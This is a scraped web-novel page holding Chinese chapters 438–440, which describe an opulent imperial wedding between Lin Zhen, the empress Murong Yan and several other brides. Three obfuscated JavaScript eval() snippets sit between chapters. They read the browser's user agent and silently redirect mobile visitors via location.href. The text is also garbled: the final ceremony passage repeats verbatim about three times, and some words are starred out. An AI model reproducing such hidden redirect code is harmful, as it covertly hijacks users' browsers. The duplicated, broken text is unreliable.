l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15381292|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此时的皇宫,午门巍峨耸立,朱红色的大门足有十丈之高,门上密密麻麻排列着金灿灿的铜钉,每一颗都有碗口大小,在晨光的照耀下闪烁着威严的光芒。 门楣之上,雕刻着九只栩栩如生的玄鸟,鸟羽纤毫毕现,尾翎舒展如火焰,口中衔着象征祥瑞的玉如意,仿佛下一秒就要破空翱翔。 大门两侧,三十六尊石麒麟昂首挺胸,神态各异,有的踏云欲飞,有的口吐玉书,尽显皇家气派。 与此同时,王府门前,铜钉大门缓缓开启,门内弥漫出的沉香气息与外面的寒气碰撞。 林臻身着玄色织金喜服,宛如墨玉雕琢的身影出现在众人眼前。 他身姿挺拔,肩宽腰窄,喜服上金丝绣就的麒麟纹在晨光中若隐若现,腰间并蒂莲纹玉佩随着步伐轻轻晃动,温润的光泽与衣料上的金线交相辉映。 他墨发束起,以一支纯金打造的螭纹发冠固定,发冠上镶嵌的红宝石宛如滴血,为他增添了几分威严与贵气。 林臻神色从容,唇角微微上扬,眼神中带着一丝温柔与期待。 他伸手轻抚身旁来福。 自己大婚,好兄弟也必然要参加。 这头威风凛凛的斑斓猛虎今日盛装打扮。 脖颈套着的纯金虎头璎珞,雕刻着栩栩如生的云纹,璎珞上的铃铛随着老虎的呼吸轻轻作响;红绸裹身,边缘处绣着金色的火焰纹,仿佛老虎身上燃烧着不灭的烈焰。 锋利的虎爪套着银甲,折射出冷冽的光芒,虎尾系着的九十九个响铃随着它的甩动发出清脆悦耳的声响,在寂静的街道上格外清晰。 来福似乎也感受到了今日的特殊,昂首挺胸,虎目炯炯有神,不时发出低沉的虎啸,震慑着周围的人群。 随着三声礼炮轰鸣,林臻动作利落地翻身跃上虎背,稳稳地坐在虎皮软垫上。 他身姿挺拔如青松,腰背笔直,双手轻轻握住缰绳,展现出一副运筹帷幄的大将风范。 目光沉稳而坚定,扫视着周围欢呼的人群,眼中满是感激与自豪。 第438章 大婚(一) 身后六座八抬大轿缓缓启动,轿身由百年檀木精心雕刻而成。 不同于寻常婚轿,轿身上雕刻的是大乾三大经典战役的场景——临邑破楚、五千轻骑战十万,还有平定顾家谋反,将士们奋勇杀敌的英勇身姿。 每一处雕刻都细腻入微,人物的表情、兵器的纹路都栩栩如生,仿佛将那段波澜壮阔的历史凝固在了檀木之上。 轿顶镶嵌的夜明珠,即便在白天也散发着柔和的光芒。 轿帘则以五彩丝线绣着林臻与慕容嫣携手并肩的剪影,周围点缀着象征祥瑞的灵芝与祥云,寓意着二人将携手共创大乾的美好未来。 轿夫们身着统一的红绸劲装,腰间铜铃随着整齐的步伐发出有节奏的声响,与来福的虎啸、远处传来的隐隐约约的编钟乐声交织成独特的韵律。 迎亲队伍甫一踏上朱雀大街,便瞬间点燃了百姓们的热情。 “快看!” “来了来了!” “世子来了!” “世子万岁!” 人群中爆发出震耳欲聋的欢呼,沿街百姓们纷纷踮起脚尖,伸长脖子,孩童们骑在父亲肩头,手中挥舞着自制的小彩旗,叽叽喳喳地尖叫。 一位白发苍苍的老秀才激动得热泪盈眶,颤抖着双手高呼:“世子年少有为,辅佐陛下成就霸业,今日大婚,实乃我大乾之福!” 话音未落,周围百姓纷纷附和,欢呼声如潮水般涌来。 丫鬟小厮们抬着朱漆木箱,奋力将掺着金箔的铜钱如暴雨般抛洒向空中。 金灿灿的铜钱与金箔在阳光下闪烁着耀眼的光芒,纷纷扬扬地洒落。 百姓们再也顾不得严寒,纷纷扑向满地“金光”,你争我抢,现场一片欢腾。 有个机灵的孩童眼疾手快,一把抓住两枚刻有“凤翎”字样的特制铜钱,高举过头顶欢呼:“我拿到了!我拿到了!”引得周围人哈哈大笑。 沿街酒楼二楼,达官贵人们也被这热烈的气氛感染,纷纷将成匹的绸缎、精美的瓷器抛向街道。 色彩斑斓的绸缎如彩云般飘落,人群中不时传来惊喜的叫声。 一位老妪幸运地接住了一方绣着鸳鸯的锦帕,激动得老泪纵横,拉着身旁的人不停念叨:“老婆子活了大半辈子,头一回见这般盛世大婚!世子与陛下郎才女貌,定能护我大乾千秋万代!” 队伍缓缓前行,所到之处,百姓们自发地加入送行的队伍,跟在后面欢呼雀跃。 有人点燃鞭炮,噼里啪啦的声响为这喜庆的 氛围更添热闹。 还有人唱起了新编的歌谣。 “朱雀大街喜气扬世子娶帝做新娘。三大战役威名扬大乾盛世万年长!” 周围的人纷纷应和歌声在街道上空回荡。 当队伍行至应天坊时一位年逾古稀的老者颤颤巍巍地捧着一盘自家烤制的喜饼跪在路边:“请世子收下老汉的心意!大乾能有今日全赖世子与陛下!” 林臻见状微微皱眉眼神中满是感动连忙示意来福停下俯身接过喜饼温声道:“老人家请起这是大乾百姓共同的功劳。” 此话一出周围百姓再次沸腾。 “世子万岁”的呼声直冲云霄连街边的积雪都被声浪震得簌簌落下。 随着队伍逐渐靠近承天门道路两旁的百姓愈发密集里三层外三层地将街道围得水泄不通。 有位年轻的母亲抱着孩子泪水止不住地流:“孩子记住今日这是大乾最荣耀的时刻!” 孩子似懂非懂地点头小手紧紧抓着飘落的红绸。 终于队伍行至承天门礼部尚书率众官员早已在此等候三十六名乐师奏响激昂的《鸾凤和鸣》编钟、玉磬之声响彻云霄。 林臻勒住缰绳抬眼望向巍峨的城楼神色庄重而期待。 而此时城楼之上尚不见慕容嫣的身影只有猎猎作响的旌旗与宏伟的建筑似乎都在静静等待着这场盛典的主角登场。 来福也安静下来蹲坐在地上虎目注视着前方。 百姓们的欢呼声仍未停歇他们踮着脚伸长脖子翘首以盼女帝的出现整个长安城都沉浸在一片欢腾与期待之中。 林臻在承天门前静候之时皇宫椒房殿内十六名宫女正屏息凝神地侍奉慕容嫣梳妆更衣。殿内弥漫着凤涎香与玫瑰精油混合的馥郁气息鎏金铜镜映出她即将盛放的明艳。 大红色凤袍由三百名绣娘耗时三月制成采用最上等的云锦色泽如朝霞浸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15381293|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 染 袍身以孔雀金线绣满百鸟朝凤图三百六十只形态各异的鸟儿栩栩如生每一根羽毛都用七彩丝线细细勾勒随着慕容嫣的动作似要振翅翱翔。 凤首位置镶嵌着鸽蛋大小的南海明珠光芒四射与袍上点缀的红宝石、翡翠交相辉映仿佛将漫天星辰都缀在了衣衫之上。 领口和袖口处绣着缠枝莲纹寓意夫妻恩爱永结同心;下摆则是翻滚的海水江崖纹象征大乾江山稳固基业长青。 她头上的凤冠更是巧夺 天工。 九只**栩栩如生地立于冠顶,每只凤凰口中衔着圆润的东珠,尾羽缀满碎钻与珍珠,随着她的动作,折射出万千华光。 凤冠两侧垂下长长的珠翠流苏,行走间轻轻晃动,发出细碎悦耳的声响,既彰显皇家威严,又增添了几分柔美。 冠后还装饰着展翅欲飞的玄鸟,暗合大乾图腾,更显庄重神圣。 最令人瞩目的当属那五十米长的拖尾,如同一道流动的红色星河。 拖尾以金线织就,上面绣着大乾的山河社稷图,山脉起伏、河流蜿蜒,城池村落错落有致,一针一线都凝聚着绣娘的心血。 拖尾边缘处采用立体刺绣工艺,绣出的祥云、瑞兽仿佛要从布料上跃然而出。 当阳光洒下,拖尾上的金线与宝石熠熠生辉,仿佛大乾的**江山都在她身后铺展。 为了让拖尾在行走时更加灵动,工匠们还在其中暗藏机关,随着步伐,拖尾上的图案会微微起伏,似有微风拂过,美不胜收。 梳妆台上摆满了来自各国的珍宝,西域进贡的和田玉梳轻轻划过她如瀑的青丝,大食进献的玫瑰精油为她的青丝增添淡雅芬芳。 待青丝挽成**髻,凤冠缓缓戴上,慕容嫣朱唇上涂着由西域进贡朱砂调制的口脂,脸上敷着特制珍珠粉,胭脂轻点双颊,更衬得她肤若凝脂,艳若桃李,尽显帝王威仪与新娘的娇美。 吉时将至,慕容嫣在女官们的簇拥下,迈着优雅的步伐走向金銮殿。 她脚下的绣鞋同样精致,以金丝绣着并蒂莲纹,每走一步,鞋面上的珍珠便相互碰撞,发出清脆悦耳的声响。 长长的拖尾在身后铺开,一眼望不到尽头。 第439章 大婚(二) 巳时三刻,皇宫午门之外忽然响起细碎的铜铃声。 六座朱漆描金的八抬大轿在红绸铺就的御道上稳稳落地,轿身雕刻的并蒂莲纹与鎏金轿顶在阳光下折射出暖光。 随着喜婆的唱喏声,轿帘轻启,六位身着大红喜服的女子依次探出身影,红盖头边缘的珍珠流苏轻晃,掩住了她们的面容,却掩不住周身流淌的奢华贵气。 晴雯挺着大肚子,身着赤金蹙金绣云锦喜服,面料取自南海鲛人所织的绡纱,轻薄如雾却流光溢彩。 衣襟处用金线绣着展翅欲飞的海东青,每根羽毛都以细如发丝的金线勾勒,再缀以碎钻点睛,阳光下恍若真有雄鹰振翅。 她腕间叠戴三对翡翠镯子,均是冰种帝王绿,镯身雕刻着缠枝莲纹,相撞时发出清越如磬的声响,腰间悬挂的鎏金鞶囊上,用珍珠镶嵌出“平安”二字。 浣碧的喜服以正红色蜀锦为底,采用“铺绒绣”工艺,裙裾上的双鱼戏水图立体如生,鱼鳞用金箔一片片粘贴而成,鱼尾则缀以淡水东珠,行走间珠箔轻晃,仿佛鱼在水中游动。 她腰间系着的双鱼玉佩乃前朝皇室旧物,羊脂白玉雕成的双鱼首尾相衔,玉质温润如凝脂,配着九道金丝流苏,每道流苏末端都坠着一颗鸽血红宝石,与喜服相得益彰,尽显温婉华贵。 张俪一袭茜红色纱罗喜服,采用“百鸟朝凤”的刺绣纹样,三百六十只绣鸟形态各异,用孔雀羽线、金线、银线交织而成,鸟喙处镶嵌小米粒大的钻石,鸟羽间点缀着蓝色的点翠,尾羽则用金丝编织,形成流动的光晕。 她的裙裾长达三尺,绣着金线孔雀开屏图,每根尾羽都缀着珍珠,行走时如孔雀开屏般璀璨夺目,头上戴着的金步摇以红宝石为花,翡翠为叶,流苏垂至肩头,一动便发出细碎的声响。 月妩的喜服选用大红色的贡品绸缎,上面用金线绣着层层叠叠的牡丹,花瓣采用“立体绣”技法,层层叠叠如真花绽放,花蕊处镶嵌着黄色的宝石,远远望去,仿佛一团燃烧的火焰。 她头戴牡丹金钗,钗头是一朵盛开的金牡丹,花瓣上镶嵌着粉色的珍珠,两侧垂下的流苏上缀着水晶珠子,与喜服上的牡丹相互呼应,整个人如同一朵盛开的富贵花,艳丽不可方物。 青霞身着暗红色喜服,上面绣着傲雪寒梅,梅花用银线绣成,花蕊处点缀着红色的宝石,枝干则用金线勾勒,显得苍劲有力。 她的领口和袖口处镶着白色的狐狸**,显得高贵典雅,头上戴着的寒梅银冠,每朵梅花都用细银线编织而成,花蕊处 镶嵌着白色的珍珠与喜服上的寒梅相呼应整个人透着一股清冷高洁的气质宛如雪中的寒梅孤芳自赏。 刘妙颜的喜服以水红色为主色调上面绣着修竹图案竹叶用绿色的丝线绣成竹节处用金线勾勒显得生机勃勃。 她的腰间系着一条绿色的丝绦上面绣着“竹报平安”的字样丝绦末端坠着一个翡翠竹节形的玉佩与喜服上的修竹相得益彰。 头上戴着的竹节金钗钗头是一节竹子竹节处镶嵌着绿色的宝石两侧垂下的流苏上缀着绿色的珠子整个人如同一株亭亭玉立的修竹清新雅致。 丞相司马忠身着簇新的紫缎吉服手持金边司仪卷轴笑意吟吟地走到林臻身前。 他身后的小斯托着鎏金托盘盘中红绫色泽如霞两端绣着“鸾凤和鸣”的金线篆文。 “世子该牵喜了。”司马忠的声音带着几分打趣惹得周围官员纷纷轻笑。 林臻笑容满面地抬手接过红绫指尖触到绫罗上细密的针脚忽然想起这是慕容嫣特意吩咐内务府用南海鲛人绡制成说是“牵住鲛人绡来世亦相逑”。 六位女子伸出纤纤玉手轻轻攥住红绫另一端。 月妩的指尖不小心碰到青霞的手背两人隔着盖头轻笑出声惹得喜婆连忙轻咳示意。 林臻回头望了一眼只见六顶红盖头如盛开的红梅在微风中轻轻摇曳心中不禁感慨。 想到自己几个月前还在与顾北辰斗心机转眼间就已经坐拥天下。 不得不说虽然没有系统但自己也是很爽的。 不过按照礼制这六位后宫是没资格进皇宫与慕容嫣一起成婚的况且还有丫鬟身的浣碧。 这一切也是慕容嫣的安排。 她说既然是自家姐妹那就没有在旁边看着夫君结婚的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15384260|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>队伍缓缓向金銮殿行进红绫在众人手中绷成一道笔直的红线仿佛将天上的鹊桥牵到了人间。 御道两侧的宫灯已全部点亮三百六十盏灯笼映得雪地通红恍若铺了一层流动的朱砂。 路过太液池时 金銮殿内文武百官早已按品阶站定。 摄政王林震仙端坐在凤椅下方的太师椅上这把由南洋黄花梨制成的椅子是慕容嫣特意赐下椅背上雕刻的百寿图还带着新鲜的金漆香气。 老头穿着林臻亲自挑选的藏青织金寿纹袍腰间玉带钩上嵌着拇 指大的东珠,此刻正眯着眼睛,看自己孙子的红绫队伍,嘴角含笑,胡须都翘成了弧度。 林臻携六位女子进殿时,殿内响起此起彼伏的恭贺声。 他一一向在场官员颔首致意,目光扫过工部尚书新补的朝珠、户部尚书鬓角的白发,忽然想起自己与他们并没有认识多久,但不知不觉间,大乾已在他们手中变得这般强盛。 “陛下驾到——” 无舌尖锐的嗓音突然刺破殿内的喧闹,如同一记重锤敲在众人心上。 除了林震仙外,所有人瞬间跪倒,额头触地,殿内顿时鸦雀无声。 林臻攥着红绫的手微微收紧,听见自己心跳如擂鼓,一下下地撞击着耳膜。 鎏金殿门缓缓开启,先是五十米长的红色拖尾映入眼帘——那拖尾上的山河社稷图在烛光下泛着金光,蜿蜒的河流像是要从布料上流淌出来。 接着是慕容嫣绣着百鸟朝凤的裙摆,金丝凤凰的尾羽扫过汉白玉地面,发出细碎的声响。 她没有像寻常新娘般蒙着盖头,凤冠上的九只**在头顶熠熠生辉,珠翠流苏垂落至肩,将她的面容衬托得愈发明艳不可方物。 慕容嫣缓步走来,拖尾在身后铺成一片红色的云霞。 她的目光始终凝在林臻身上,凤目中含着笑意,又有几分女儿家的羞涩。 当走到林臻面前时,她轻轻伸出手,指尖触到红绫的瞬间,殿内响起倒吸冷气的声音。 按照大乾礼制,女帝行婚礼时只需受礼,无需执绫,此举竟是慕容嫣特意为林臻破的例。 第440章 大婚(三) 金銮殿内烛火摇曳,映得慕容嫣凤冠上的碎钻流光溢彩。 她指尖刚触到红绫,便听得殿中数位老臣倒吸冷气——须知自太祖开国以来,从未有女帝大婚的先例,更没有屈尊执绫的先例。 御史中丞王大人的胡须剧烈颤抖,腰间玉佩磕在石阶上发出脆响,却浑然不觉;户部侍郎张大人抬袖拭额,目光在慕容嫣与林臻交握的红绫上打转,唇角却渐渐扬起笑意。 “王大人,不必激动,这看似逾矩的举动,何尝不是我大乾破除旧制、气象一新的征兆?” “张侍郎言之有理。” 林震仙坐在太师椅上,望着孙儿与女帝并肩的身影,浑浊老眼泛起泪光。 他抬手轻拍扶手,黄花梨椅背上的百寿图随动作轻晃,恍若百年光阴在眼前流转。 想当年他二十岁扶保幼帝登基,朝堂波谲云诡,如今先帝已逝,女儿上位,他又能亲眼见证孙儿娶得天下之主。 大乾在两代人手中从风雨飘摇走向万邦来朝,如何能不感慨万千? 老人布满皱纹的脸颊笑意深浓,连眼角的鱼尾纹都盛着欢喜,不住向身旁的丞相司马忠颔首:“好啊,好啊……” “夫君。”场中,慕容嫣看向林臻,“其实朕今天还有个惊喜要给你。” “什么惊喜?”林臻担心慕容嫣玩闹,于是有些紧张。 谁知就在此时,殿外又走进来两名盖着红盖头的女子。 难道是司马椿蕾和顾镇?她们也来了? 不仅如此,殿外四名健妇扛着一个步辇,一个女子正盖着大红盖头跪在步辇上,也徐徐地走进来。 众人循声望去,只见为首的两位宫装女子步态轻盈,手中捧着鎏金烛台,喜服上绣着鸳鸯戏水纹样,金线勾勒的鸳鸯喙间衔着珍珠,正是后宫的贵妃与宁妃。 她们的盖头边缘缀着九颗东珠,彰显着仅次于皇后的位份,行走间珠串轻晃,发出悦耳声响。 而在她们身后,十六名身着银甲的侍女抬着一顶翡翠步辇缓缓而至。 步辇四角垂着鲛绡流苏,每根流苏末端系着一枚拇指大的夜明珠,在暮色中发出柔和光芒。 步辇内的女子身披大红色蝉翼纱,纱上用金线绣着并蒂莲纹样,莲花中心镶嵌着淡水珍珠,远远望去如露珠凝于花瓣。 她的盖头尤为特殊,以半透明的紫玉纱制成,隐约可见面纱下精致的额间花钿,而她腕间戴着的七鸾金钗,更暗示着其非凡身份。 “那是……上官婉儿?” 殿内传来窃窃私语。 原来这位坐在步辇上的女子,就是林震仙亲自做主要许配给林臻为妻,后因为生病而退婚的上官婉儿。 林臻握着红绫的手微微收紧,目光扫过三位女子的喜服,最后将目光落在上官婉儿身上。 一时间,竟无法言语。 慕容嫣说道:“是朕下旨让她来的,在朕心中,婉儿永远是我们的家人,既然是家人,这样的重要场合自然不能缺席。” 林臻有些感动,眼眶瞬间湿润起来。 他点点头,还未来得及说话,就听到司马忠扬起声线,司仪卷轴在手中展开,金粉书写的“婚典仪程”四字熠熠生辉。 “陛下、新郎,众新娘,请牵起红绫,一拜天地——” 林臻与慕容嫣、八位佳人同时转身,面向殿外敞开的丹陛。 只见三百六十名禁军**肃立,枪尖红缨与御道红绸连成一片赤色海洋,远处长安百姓的欢呼声如潮水般涌来,直上九霄。 慕容嫣微微俯身,凤袍上的百鸟朝凤图随动作舒展,仿佛真有群鸟振翅欲飞;林臻腰背挺直如青松,红绫在他掌心绷成一道红线,与慕容嫣的指尖隔着寸许距离,却又似有无形的牵连。 而婉儿,就一直跪在步辇上,随着司马忠的声音而微微附身。 “二拜高堂——”司马忠的声音带着颤音,殿内百官不由自主地屏住呼吸。 林臻与慕容嫣转身面向林震仙。 林震仙眼眶一热,并没有起来,因为在她看来此刻的慕容嫣是孙媳妇,不是皇帝。 看着林臻、女帝与众多女子恭谨地行三叩首之礼,心中满是欣慰。 当众人起身时,慕容嫣忽然从袖中取出一枚碧玉扳指,轻轻套在林震仙手上:“王爷,这是太祖皇帝当年征战时所用,今日请您收下,愿大乾江山,代代永昌。” 林震仙手指颤抖,望着扳指上刻的“定乾坤”三字,泪水终于夺眶而出。 “夫妻对拜——”话音未落,殿外忽然狂风大作,吹得丹陛上的红绸猎猎作响。 林臻与慕容嫣相对而立,凤冠与发冠上的珠翠在风中轻颤,宛如一对振翅欲飞的鸾凤。 其余女子皆围成个圈,将两人圈在中央。 慕容嫣唇角微扬,眼波流转间尽是柔情;林臻目光灼灼,仿佛要将眼前人刻入心底。‘ 两人同时俯身,红绫在身下交织成蝶形,恰在此时,一片金箔自窗外飘入,轻轻落在红绫中央,竟像是上天赐下的婚书。 “礼成——”司马忠高声唱喏。 “陛下万岁万岁万万岁!”殿内顿时响起山呼海啸般的“万岁”声。 林臻伸手轻轻扶慕容嫣起身。 慕容嫣抬眼望他,轻声道:“从此后,这天下……” “是我们的天下。” 林臻接过话头,声音坚定而温柔。 两人相视而笑,眼中只有彼此,仿佛这金銮殿内的万千繁华,都成了背景。 八位身着喜服的女子站在一旁,盖头已被喜婆轻轻揭开。 晴雯望着两人紧握的手,眼中闪过一丝释然——曾几何时,她以为自己能做林臻的小妾已经算是上位了,根本不敢想象自己如此卑微的身份也能在这金碧辉煌的金銮殿里结婚。 浣碧轻抚腰间的双鱼玉佩,那是林震仙亲自所赐,寓意“成双成对”,此刻她望着慕容嫣凤袍上的百鸟朝凤,笑得很是好看。 张俪低头看着裙裾上的金线孔雀,想起自己被林臻掳回来时的战战兢兢,如今却能站在这金銮殿内嫁给林臻,成为大乾最强世家的王妃,心中满是感慨。 殿内传来窃窃私语。 原来这位坐在步辇上的女子,就是林震仙亲自做主要许配给林臻为妻,后因为生病而退婚的上官婉儿。 林臻握着红绫的手微微收紧,目光扫过三位女子的喜服,最后将目光落在上官婉儿身上。 一时间,竟无法言语。 慕容嫣说道:“是朕下旨让她来的,在朕心中,婉儿永远是我们的家人,既然是家人,这样的重要场合自然不能缺席。” 林臻有些感动,眼眶瞬间湿润起来。 他点点头,还未来得及说话,就听到司马忠扬起声线,司仪卷轴在手中展开,金粉书写的“婚典仪程”四字熠熠生辉。 “陛下、新郎,众新娘,请牵起红绫,一拜天地——” 林臻与慕容嫣、八位佳人同时转身,面向殿外敞开的丹陛。 只见三百六十名禁军**肃立,枪尖红缨与御道红绸连成一片赤色海洋,远处长安百姓的欢呼声如潮水般涌来,直上九霄。 慕容嫣微微俯身,凤袍上的百鸟朝凤图随动作舒展,仿佛真有群鸟振翅欲飞;林臻腰背挺直如青松,红绫在他掌心绷成一道红线,与慕容嫣的指尖隔着寸许距离,却又似有无形的牵连。 而婉儿,就一直跪在步辇上,随着司马忠的声音而微微附身。 “二拜高堂——”司马忠的声音带着颤音,殿内百官不由自主地屏住呼吸。 林臻与慕容嫣转身面向林震仙。 林震仙眼眶一热,并没有起来,因为在她看来此刻的慕容嫣是孙媳妇,不是皇帝。 看着林臻、女帝与众多女子恭谨地行三叩首之礼,心中满是欣慰。 当众人起身时,慕容嫣忽然从袖中取出一枚碧玉扳指,轻轻套在林震仙手上:“王爷,这是太祖皇帝当年征战时所用,今日请您收下,愿大乾江山,代代永昌。” 林震仙手指颤抖,望着扳指上刻的“定乾坤”三字,泪水终于夺眶而出。 “夫妻对拜——”话音未落,殿外忽然狂风大作,吹得丹陛上的红绸猎猎作响。 林臻与慕容嫣相对而立,凤冠与发冠上的珠翠在风中轻颤,宛如一对振翅欲飞的鸾凤。 其余女子皆围成个圈,将两人圈在中央。 慕容嫣唇角微扬,眼波流转间尽是柔情;林臻目光灼灼,仿佛要将眼前人刻入心底。‘ 两人同时俯身,红绫在身下交织成蝶形,恰在此时,一片金箔自窗外飘入,轻轻落在红绫中央,竟像是上天赐下的婚书。 “礼成——”司马忠高声唱喏。 “陛下万岁万岁万万岁!”殿内顿时响起山呼海啸般的“万岁”声。 林臻伸手轻轻扶慕容嫣起身。 慕容嫣抬眼望他,轻声道:“从此后,这天下……” “是我们的天下。” 林臻接过话头,声音坚定而温柔。 两人相视而笑,眼中只有彼此,仿佛这金銮殿内的万千繁华,都成了背景。 八位身着喜服的女子站在一旁,盖头已被喜婆轻轻揭开。 晴雯望着两人紧握的手,眼中闪过一丝释然——曾几何时,她以为自己能做林臻的小妾已经算是上位了,根本不敢想象自己如此卑微的身份也能在这金碧辉煌的金銮殿里结婚。 浣碧轻抚腰间的双鱼玉佩,那是林震仙亲自所赐,寓意“成双成对”,此刻她望着慕容嫣凤袍上的百鸟朝凤,笑得很是好看。 张俪低头看着裙裾上的金线孔雀,想起自己被林臻掳回来时的战战兢兢,如今却能站在这金銮殿内嫁给林臻,成为大乾最强世家的王妃,心中满是感慨。 殿内传来窃窃私语。 原来这位坐在步辇上的女子,就是林震仙亲自做主要许配给林臻为妻,后因为生病而退婚的上官婉儿。 林臻握着红绫的手微微收紧,目光扫过三位女子的喜服,最后将目光落在上官婉儿身上。 一时间,竟无法言语。 慕容嫣说道:“是朕下旨让她来的,在朕心中,婉儿永远是我们的家人,既然是家人,这样的重要场合自然不能缺席。” 林臻有些感动,眼眶瞬间湿润起来。 他点点头,还未来得及说话,就听到司马忠扬起声线,司仪卷轴在手中展开,金粉书写的“婚典仪程”四字熠熠生辉。 “陛下、新郎,众新娘,请牵起红绫,一拜天地——” 林臻与慕容嫣、八位佳人同时转身,面向殿外敞开的丹陛。 只见三百六十名禁军**肃立,枪尖红缨与御道红绸连成一片赤色海洋,远处长安百姓的欢呼声如潮水般涌来,直上九霄。 慕容嫣微微俯身,凤袍上的百鸟朝凤图随动作舒展,仿佛真有群鸟振翅欲飞;林臻腰背挺直如青松,红绫在他掌心绷成一道红线,与慕容嫣的指尖隔着寸许距离,却又似有无形的牵连。 而婉儿,就一直跪在步辇上,随着司马忠的声音而微微附身。 “二拜高堂——”司马忠的声音带着颤音,殿内百官不由自主地屏住呼吸。 林臻与慕容嫣转身面向林震仙。 林震仙眼眶一热,并没有起来,因为在她看来此刻的慕容嫣是孙媳妇,不是皇帝。 看着林臻、女帝与众多女子恭谨地行三叩首之礼,心中满是欣慰。 当众人起身时,慕容嫣忽然从袖中取出一枚碧玉扳指,轻轻套在林震仙手上:“王爷,这是太祖皇帝当年征战时所用,今日请您收下,愿大乾江山,代代永昌。” 林震仙手指颤抖,望着扳指上刻的“定乾坤”三字,泪水终于夺眶而出。 “夫妻对拜——”话音未落,殿外忽然狂风大作,吹得丹陛上的红绸猎猎作响。 林臻与慕容嫣相对而立,凤冠与发冠上的珠翠在风中轻颤,宛如一对振翅欲飞的鸾凤。 其余女子皆围成个圈,将两人圈在中央。 慕容嫣唇角微扬,眼波流转间尽是柔情;林臻目光灼灼,仿佛要将眼前人刻入心底。‘ 两人同时俯身,红绫在身下交织成蝶形,恰在此时,一片金箔自窗外飘入,轻轻落在红绫中央,竟像是上天赐下的婚书。 “礼成——”司马忠高声唱喏。 “陛下万岁万岁万万岁!”殿内顿时响起山呼海啸般的“万岁”声。 林臻伸手轻轻扶慕容嫣起身。 慕容嫣抬眼望他,轻声道:“从此后,这天下……” “是我们的天下。” 林臻接过话头,声音坚定而温柔。 两人相视而笑,眼中只有彼此,仿佛这金銮殿内的万千繁华,都成了背景。 八位身着喜服的女子站在一旁,盖头已被喜婆轻轻揭开。 晴雯望着两人紧握的手,眼中闪过一丝释然——曾几何时,她以为自己能做林臻的小妾已经算是上位了,根本不敢想象自己如此卑微的身份也能在这金碧辉煌的金銮殿里结婚。 浣碧轻抚腰间的双鱼玉佩,那是林震仙亲自所赐,寓意“成双成对”,此刻她望着慕容嫣凤袍上的百鸟朝凤,笑得很是好看。 张俪低头看着裙裾上的金线孔雀,想起自己被林臻掳回来时的战战兢兢,如今却能站在这金銮殿内嫁给林臻,成为大乾最强世家的王妃,心中满是感慨。 殿内传来窃窃私语。 原来这位坐在步辇上的女子,就是林震仙亲自做主要许配给林臻为妻,后因为生病而退婚的上官婉儿。 林臻握着红绫的手微微收紧,目光扫过三位女子的喜服,最后将目光落在上官婉儿身上。 一时间,竟无法言语。 慕容嫣说道:“是朕下旨让她来的,在朕心中,婉儿永远是我们的家人,既然是家人,这样的重要场合自然不能缺席。” 林臻有些感动,眼眶瞬间湿润起来。 他点点头,还未来得及说话,就听到司马忠扬起声线,司仪卷轴在手中展开,金粉书写的“婚典仪程”四字熠熠生辉。 “陛下、新郎,众新娘,请牵起红绫,一拜天地——” 林臻与慕容嫣、八位佳人同时转身,面向殿外敞开的丹陛。 只见三百六十名禁军**肃立,枪尖红缨与御道红绸连成一片赤色海洋,远处长安百姓的欢呼声如潮水般涌来,直上九霄。 慕容嫣微微俯身,凤袍上的百鸟朝凤图随动作舒展,仿佛真有群鸟振翅欲飞;林臻腰背挺直如青松,红绫在他掌心绷成一道红线,与慕容嫣的指尖隔着寸许距离,却又似有无形的牵连。 而婉儿,就一直跪在步辇上,随着司马忠的声音而微微附身。 “二拜高堂——”司马忠的声音带着颤音,殿内百官不由自主地屏住呼吸。 林臻与慕容嫣转身面向林震仙。 林震仙眼眶一热,并没有起来,因为在她看来此刻的慕容嫣是孙媳妇,不是皇帝。 看着林臻、女帝与众多女子恭谨地行三叩首之礼,心中满是欣慰。 当众人起身时,慕容嫣忽然从袖中取出一枚碧玉扳指,轻轻套在林震仙手上:“王爷,这是太祖皇帝当年征战时所用,今日请您收下,愿大乾江山,代代永昌。” 林震仙手指颤抖,望着扳指上刻的“定乾坤”三字,泪水终于夺眶而出。 “夫妻对拜——”话音未落,殿外忽然狂风大作,吹得丹陛上的红绸猎猎作响。 林臻与慕容嫣相对而立,凤冠与发冠上的珠翠在风中轻颤,宛如一对振翅欲飞的鸾凤。 其余女子皆围成个圈,将两人圈在中央。 慕容嫣唇角微扬,眼波流转间尽是柔情;林臻目光灼灼,仿佛要将眼前人刻入心底。‘ 两人同时俯身,红绫在身下交织成蝶形,恰在此时,一片金箔自窗外飘入,轻轻落在红绫中央,竟像是上天赐下的婚书。 “礼成——”司马忠高声唱喏。 “陛下万岁万岁万万岁!”殿内顿时响起山呼海啸般的“万岁”声。 林臻伸手轻轻扶慕容嫣起身。 慕容嫣抬眼望他,轻声道:“从此后,这天下……” “是我们的天下。” 林臻接过话头,声音坚定而温柔。 两人相视而笑,眼中只有彼此,仿佛这金銮殿内的万千繁华,都成了背景。 八位身着喜服的女子站在一旁,盖头已被喜婆轻轻揭开。 